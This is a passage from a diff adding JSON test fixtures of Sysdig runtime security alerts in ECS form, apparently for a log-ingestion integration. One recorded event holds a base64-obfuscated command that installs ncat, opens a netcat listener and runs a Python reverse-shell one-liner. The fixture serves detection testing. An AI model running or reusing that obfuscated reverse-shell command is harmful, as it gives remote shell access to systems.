Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0; container.id=d2c32629a588 proc.pid=146490 proc.cwd=/apps/ proc.ppid=136656 proc.pcmdline=bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0; proc.sid=1 user.uid=0 user.loginname= group.gid=0 group.name=root container.name=test-aqua-enforcer)", + "policy_id": "10011701", + "rule_name": "Clear Log Activities", + "rule_sub_type": 0, + "rule_tags": [ + "host", + "container", + "file", + "FIM", + "SOC2", + "SOC2_CC6.7", + "PCI", + "PCI_DSS", + "PCI_DSS_10.5.5", + "NIST", + "NIST_800-171", + "NIST_800-171_3.14.6", + "NIST_800-171_3.3.1", + "NIST_800-171_3.3.2", + "NIST_800-171_3.4.5", + "NIST_800-53", + "NIST_800-53_AU-6(8)", + "NIST_800-53_CM-5", + "NIST_800-53_AU-2", + "NIST_800-53_AU-10", + "FedRAMP", + "FedRAMP_AU-10", + "FedRAMP_AU-2", + "ISO", + "ISO_27001", + "ISO_27001_A.18.1.3", + "HIPAA", + "HIPAA_164.308(a)", + "HIPAA_164.312(b)", + "HITRUST", + "HITRUST_CSF", + "HITRUST_CSF_01.p", + "HITRUST_CSF_01.s", + "HITRUST_CSF_06.i", + "HITRUST_CSF_09.aa", + "HITRUST_CSF_09.ab", + "HITRUST_CSF_09.ad", + "HITRUST_CSF_09.ae", + "HITRUST_CSF_09.b", + "HITRUST_CSF_09.x", + "HITRUST_CSF_09.y", + "HITRUST_CSF_10.d", + "HITRUST_CSF_10.j", + "HITRUST_CSF_10.k", + "MITRE", + "MITRE_TA0005_defense_evasion", + "MITRE_TA0040_impact", + "MITRE_T1070_indicator_removal_on_host", + "MITRE_T1485_data_destruction", + "MITRE_T1070.002_indicator_removal_clear_linux_or_mac_system_logs", + "MITRE_T1070.003_indicator_removal_clear_command_history", + "MITRE_T1070.004_indicator_removal_file_deletion", + "oss" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.", + "engine": "falco", + "id": "183abcdefabcdef123456ffcccf0a338", + "labels": { + "aws": { + "account_id": "012345678912", + "region": "us-west-2" + }, + "cloud_provider": { + "account": { + "id": "012345678912" + }, + "name": "aws", + "region": "us-west-2" + }, + "container": { + "image": { + "digest": "sha256:b6980881cf440a3ae78dfa9c021aaa9bb66fc3c27b7120cfa2b2fa1c35ceaa20", + "id": "4b0aebaeaf91", + "repo": "docker.io/alpine/k8s", + "tag": "1.26.2" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "test-aqua-enforcer" + }, + "pod": { + "name": "aqua-enforcer-tester-12345678-abcde", + "namespace": "aqua" + } + } + } + }, + "name": "test-aqua-enforcer" + }, + "host": { + "host_name": "ip-192-168-183-59.us-west-2.compute.internal", + "mac": "01-00-5E-90-10-01" + }, + "kubernetes": { + "cluster": { + "name": "myclusterName" + }, + "cron_job": { + "name": "aqua-enforcer-tester" + }, + "job": { + "name": "aqua-enforcer-tester-29077920" + }, + "namespace": { + "name": "aqua" + }, + "node": { + "name": "i-00123456789012344" + }, + "pod": { + "name": "aqua-enforcer-tester-12345678-abcde" + }, + "workload": { + "name": "aqua-enforcer-tester", + "type": "cronjob" + } + } + }, + "name": "Sysdig Runtime Notable Events", + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity": 5, + "severity_value": "Medium", + "source": "syscall", + "source_details": { + "sub_type": "container", + "type": "workload" + }, + "timestamp": "2025-04-15T00:10:45.3285942Z" + } + }, + "tags": [ + "preserve_duplicate_custom_fields" + ], + "threat": { + "tactic": { + "id": [ + "TA0005", + "TA0040" + ], + "name": [ + "defense_evasion", + "impact" + ] + }, + "technique": { + "id": [ + "T1070", + "T1485" + ], + "name": [ + "indicator_removal_on_host", + "data_destruction" + ], + "subtechnique": { + "id": [ + "T1070.002", + "T1070.003", + "T1070.004" + ], + "name": [ + "indicator_removal_clear_linux_or_mac_system_logs", + "indicator_removal_clear_command_history", + "indicator_removal_file_deletion" + ] + } + } + }, + "user": { + "id": "0", + "name": "root" + } + }, + { + "@timestamp": "2025-04-05T03:00:01.1159286Z", + "cloud": { + "account": { + "id": "012345678912" + }, + "project": { + "id": "012345678912" + }, + "provider": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "hash": { + "all": [ + "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ] + }, + "name": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "process" + ], + "id": "1a334cdef0060123456789abcdef64a9", + "kind": "event", + "original": "{\"category\":\"runtime\",\"content\":{\"fields\":{\"container.image.repository\":\"docker.io/library/python\",\"container.name\":\"shell-scripting\",\"evt.res\":\"SUCCESS\",\"evt.type\":\"execve\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.args\":\"\",\"proc.cmdline\":\"sh\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/dash\",\"proc.hash.sha256\":\"f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6\",\"proc.name\":\"sh\",\"proc.pcmdline\":\"bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh\",\"proc.pid\":\"1372469\",\"proc.pid.ts\":\"1743822001115100312\",\"proc.pname\":\"bash\",\"proc.ppid\":\"1372453\",\"proc.ppid.ts\":\"1743822000952432134\",\"proc.sid\":\"1\",\"user.loginname\":\"\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Secure UI\",\"output\":\"Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)\",\"policyId\":10569534,\"ruleName\":\"My test rule custom\",\"ruleSubType\":0,\"ruleTags\":[\"My-tag-custom-1-hello-world\",\"MITTRE-WHATEVER\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This is just a dumb policy to test custom policies\",\"engine\":\"falco\",\"id\":\"1a334cdef0060123456789abcdef64a9\",\"labels\":{\"cloudProvider.account.id\":\"012345678912\",\"cloudProvider.name\":\"gcp\",\"cloudProvider.region\":\"us-central1\",\"container.image.digest\":\"sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a\",\"container.image.id\":\"ef0f72a55bd2\",\"container.image.repo\":\"docker.io/library/python\",\"container.image.tag\":\"3.9.18-slim\",\"container.label.io.kubernetes.container.name\":\"shell-scripting\",\"container.label.io.kubernetes.pod.name\":\"shell-scripting-29063700-123ab\",\"container.label.io.kubernetes.pod.namespace\":\"default\",\"container.name\":\"shell-scripting\",\"gcp.location\":\"us-central1\",\"gcp.projectId\":\"012345678912\",\"host.hostName\":\"gke-cluster-gcp-demo-san-default-pool-11234abc-abcd\",\"host.mac\":\"01:00:5e:90:10:00\",\"kubernetes.cluster.name\":\"gke-alliances-demo-6\",\"kubernetes.cronJob.name\":\"shell-scripting\",\"kubernetes.job.name\":\"shell-scripting-29063700\",\"kubernetes.namespace.name\":\"default\",\"kubernetes.node.name\":\"gke-cluster-gcp-demo-san-default-pool-12345678-abcd\",\"kubernetes.pod.name\":\"shell-scripting-12345678-123ab\",\"kubernetes.workload.name\":\"shell-scripting\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Manuel test policy\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":4,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1743822001115928600}", + "outcome": "success", + "provider": "syscall", + "severity": 4, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "mac": [ + "01-00-5E-90-10-00" + ], + "name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + }, + "message": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "namespace": "default", + "resource": { + "name": "shell-scripting-12345678-123ab", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "sh", + "executable": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "parent": { + "command_line": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "name": "bash", + "pid": 1372453, + "start": "2025-04-05T03:00:00.952432134Z" + }, + "pid": 1372469, + "start": "2025-04-05T03:00:01.115100312Z", + "working_directory": "/" + }, + "related": { + "hash": [ + "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6", + "aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a" + ], + "hosts": [ + "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This is just a dumb policy to test custom policies", + "name": "My test rule custom", + "ruleset": "Manuel test policy" + }, + "sysdig": { + "event": { + "category": "runtime", + "content": { + "fields": { + "container": { + "image": { + "repository": "docker.io/library/python" + }, + "name": "shell-scripting" + }, + "evt": { + "res": "SUCCESS", + "type": "execve" + }, + "group": { + "gid": "0", + "name": "root" + }, + "proc": { + "cmdline": "sh", + "cwd": "/", + "exepath": "/usr/bin/dash", + "hash": { + "sha256": "f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6" + }, + "name": "sh", + "pcmdline": "bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh", + "pid": 1372469, + "pid_ts": "2025-04-05T03:00:01.115100312Z", + "pname": "bash", + "ppid": 1372453, + "ppid_ts": "2025-04-05T03:00:00.952432134Z", + "sid": "1" + }, + "user": { + "name": "root", + "uid": "0" + } + }, + "origin": "Secure UI", + "output": "Custom rule. The shell-scripting with image docker.io/library/python by parent bash under user root (proc.name=sh proc.exepath-custom=/usr/bin/dash proc.pname=bash gparent=runc ggparent=containerd-shim gggparent=systemd image=docker.io/library/python user.uid=0 proc.cmdline=sh proc.pcmdline=bash -c echo IyEvYmluL2Jhc2gKYXB0IHVwZGF0ZSAteTsgYXB0IGluc3RhbGwgLXkgbmNhdApuYyAtbHYgMTMzNyAmCg== | base64 -d | sh; echo cHl0aG9uMyAtYyAnaW1wb3J0IG9zLHB0eSxzb2NrZXQ7cz1zb2NrZXQuc29ja2V0KCk7cy5jb25uZWN0KCgiMC4wLjAuMCIsMTMzNykpO1tvcy5kdXAyKHMuZmlsZW5vKCksZilmb3IgZiBpbigwLDEsMildO3B0eS5zcGF3bihbInNoIiwgIi1jIiwgInNsZWVwIDU7bHMgLWE7IGV4aXQgMCJdKScK | base64 -d | sh user.name=root user.loginuid=-1 proc.args= container.name=shell-scripting evt.type=execve evt.res=SUCCESS proc.pid=1372469 proc.cwd=/ proc.ppid=1372453 proc.sid=1 proc.exepath=/usr/bin/dash user.loginname= group.gid=0 group.name=root proc.pid.ts=1743822001115100312 proc.ppid.ts=1743822000952432134 proc.hash.sha256=f5adb8bf0100ed0f8c7782ca5f92814e9229525a4b4e0d401cf3bea09ac960a6)", + "policy_id": "10569534", + "rule_name": "My test rule custom", + "rule_sub_type": 0, + "rule_tags": [ + "My-tag-custom-1-hello-world", + "MITTRE-WHATEVER" + ], + "rule_type": 6, + "type": "workloadRuntimeDetection" + }, + "description": "This is just a dumb policy to test custom policies", + "engine": "falco", + "id": "1a334cdef0060123456789abcdef64a9", + "labels": { + "cloud_provider": { + "account": { + "id": "012345678912" + }, + "name": "gcp", + "region": "us-central1" + }, + "container": { + "image": { + "digest": "sha256:aa7b73608abcfb021247bbb4c111435234a0459298a6da610681097a54ca2c2a", + "id": "ef0f72a55bd2", + "repo": "docker.io/library/python", + "tag": "3.9.18-slim" + }, + "label": { + "io": { + "kubernetes": { + "container": { + "name": "shell-scripting" + }, + "pod": { + "name": "shell-scripting-29063700-123ab", + "namespace": "default" + } + } + } + }, + "name": "shell-scripting" + }, + "gcp": { + "location": "us-central1", + "project_id": "012345678912" + }, + "host": { + "host_name": "gke-cluster-gcp-demo-san-default-pool-11234abc-abcd", + "mac": "01-00-5E-90-10-00" + }, + "kubernetes": { + "cluster": { + "name": "gke-alliances-demo-6" + }, + "cron_job": { + "name": "shell-scripting" + }, + "job": { + "name": "shell-scripting-29063700" + }, + "namespace": { + "name": "default" + }, + "node": { + "name": "gke-cluster-gcp-demo-san-default-pool-12345678-abcd" + }, + "pod": { + "name": "shell-scripting-12345678-123ab" + }, + "workload": { + "name": "shell-scripting", + "type": "cronjob" + } + } + }, + "name": "Manuel test policy", + "originator": "policy", + "raw_event_category": "runtime", + "raw_event_originator": "linuxAgent", + "severity": 4, + "severity_value": "Medium", + "source": "syscall", + "source_details": { + "sub_type": "container", + "type": "workload" + }, + "timestamp": "2025-04-05T03:00:01.1159286Z" + } + }, + "tags": [ + "preserve_duplicate_custom_fields" + ], + "user": { + "id": "0", + "name": "root" + } + }, + { + "@timestamp": "2025-04-15T07:13:45.52835Z", + "container": { + "id": "382abcdefd0a", + "image": { + "hash": { + "all": [ + "sha256:9360d7421c5e9b646ea13e5ced3f8e6da80017b0144733a04b7401dd8c01a5cb" + ] + }, + "name": "gcr.io/cadvisor/cadvisor", + "tag": [ + "v0.45.0" + ] + }, + "name": "cadvisor" + }, + "ecs": { + "version": "8.11.0" + }, + "event": { + "category": [ + "process" + ], + "id": "1836ac8550123456789abcdefe5d827f", + "kind": "event", + "original": "{\"actions\":[{\"afterEventNs\":30000000000,\"beforeEventNs\":15000000000,\"errMsg\":\"maximum number of outstanding captures (1) reached\",\"isSuccessful\":false,\"token\":\"7d30b372-3dd9-1234-5678-403612345678\",\"type\":\"capture\"}],\"category\":\"runtime\",\"content\":{\"fields\":{\"container.id\":\"382abcdefd0a\",\"container.image.repository\":\"gcr.io/cadvisor/cadvisor\",\"container.image.tag\":\"v0.45.0\",\"container.mounts\":\"/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private\",\"container.name\":\"cadvisor\",\"evt.res\":\"SUCCESS\",\"evt.type\":\"execve\",\"group.gid\":\"0\",\"group.name\":\"root\",\"proc.cmdline\":\"cadvisor -logtostderr --enable_metrics=cpu,diskIO,memory,network,oom_event --docker_only\",\"proc.cwd\":\"/\",\"proc.exepath\":\"/usr/bin/cadvisor\",\"proc.name\":\"cadvisor\",\"proc.pcmdline\":\"runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a\",\"proc.pid\":\"741051\",\"proc.pname\":\"runc\",\"proc.ppid\":\"741043\",\"proc.sid\":\"1\",\"user.loginname\":\"\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Sysdig\",\"output\":\"Container cadvisor having image gcr.io/cadvisor/cadvisor with sensitive mount started by user root and parent runc (proc.name=cadvisor image=gcr.io/cadvisor/cadvisor:v0.45.0 proc.exepath=/usr/bin/cadvisor proc.pname=runc gparent=containerd-shim ggparent=systemd gggparent= mounts=/:/rootfs::false:private,/var/run:/var/run::false:private,/sys:/sys::false:private,/var/lib/docker:/var/lib/docker::false:private,/dev/disk:/dev/disk::false:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/etc-hosts:/etc/hosts::true:private,/var/lib/kubelet/pods/e08484f0-c944-4b62-bdb3-9341e74ef7b5/containers/cadvisor/e5f5ac18:/dev/termination-log::true:private evt.type=execve evt.res=SUCCESS proc.pid=741051 proc.cwd=/ proc.ppid=741043 proc.pcmdline=runc --root /run/containerd/runc/k8s.io --log /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/log.json --log-format json --systemd-cgroup create --bundle /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a --pid-file /run/containerd/io.containerd.runtime.v2.task/k8s.io/382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a/init.pid 382e35271d0a388267e9ed7ab262e0735ebfbaa1fd5dc09a3645d7b22e62580a proc.sid=1 user.loginuid=-1 user.uid=0 user.loginname= group.gid=0 group.name=root container.id=382e35271d0a container.name=cadvisor)\",\"policyId\":10011701,\"ruleName\":\"Launch Sensitive Mount Container\",\"ruleSubType\":0,\"ruleTags\":[\"container\",\"container_best_practices\",\"container_immutability\",\"SOC2\",\"SOC2_CC6.1\",\"NIST\",\"NIST_800-190\",\"NIST_800-190_3.4.3\",\"NIST_800-190_3.5.5\",\"NIST_800-53\",\"NIST_800-53_AC-6(9)\",\"NIST_800-53_AC-6(10)\",\"NIST_800-53_AU-6(8)\",\"ISO\",\"ISO_27001\",\"ISO_27001_A.9.2.3\",\"HIPAA\",\"HIPAA_164.308(a)\",\"HIPAA_164.312(a)\",\"HIPAA_164.312(b)\",\"HITRUST\",\"HITRUST_CSF\",\"HITRUST_CSF_01.c\",\"HITRUST_CSF_09.aa\",\"GDPR\",\"GDPR_32.1\",\"GDPR_32.2\",\"MITRE\",\"MITRE_T1609_container_administration_command\",\"MITRE_T1611_escape_to_host\",\"MITRE_TA0002_execution\",\"MITRE_TA0004_privilege_escalation\",\"MITRE_TA0008_lateral_movement\",\"MITRE_T1610_deploy_container\",\"MITRE_TA0005_defense_evasion\",\"MITRE_T1055.009_process_injection_proc_memory\",\"MITRE_T1543_create_or_modify_system_process\",\"CIS\",\"oss\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.\",\"engine\":\"falco\",\"id\":\"1836ac8550123456789abcdefe5d827f\",\"labels\":{\"container.image.digest\":\"sha256:9360d7421c5e9b646ea13e5ced3f8e6da80017b0144733a04b7401dd8c01a5cb\",\"container.image.id\":\"3f3e5f568a6d\",\"container.image.repo\":\"gcr.io/cadvisor/cadvisor\",\"container.image.tag\":\"v0.45.0\",\"container.label.io.kubernetes.container.name\":\"cadvisor\",\"container.label.io.kubernetes.pod.name\":\"wave-autoscale-agent-abcde\",\"container.label.io.kubernetes.pod.namespace\":\"wave-autoscale\",\"container.name\":\"cadvisor\",\"host.hostName\":\"hybrid-node\",\"host.mac\":\"01:00:5e:90:10:02\",\"kubernetes.cluster.name\":\"myclusterName\",\"kubernetes.namespace.name\":\"wave-autoscale\",\"kubernetes.node.name\":\"node04\",\"kubernetes.pod.name\":\"wave-autoscale-agent-abcde\"},\"name\":\"Sysdig Runtime Notable Events\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":5,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1744701225528350000}", + "outcome": "success", + "provider": "syscall", + "severity": 5, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "hybrid-node", + "mac": [ + "01-00-5E-90-10-02" + ], + "name": "hybrid-node" + }, + "message": "Container cadvisor having image gcr.io/cadvisor/cadvisor with sensitive mount started by user root and parent runc (proc.name=cadvisor image=gcr.io/cadvisor/cadvisor:v0.45.0 proc.exepath=/usr/bin/cadvisor proc.pname=runc gparent=containerd-shim ggparent=systemd gggparent= 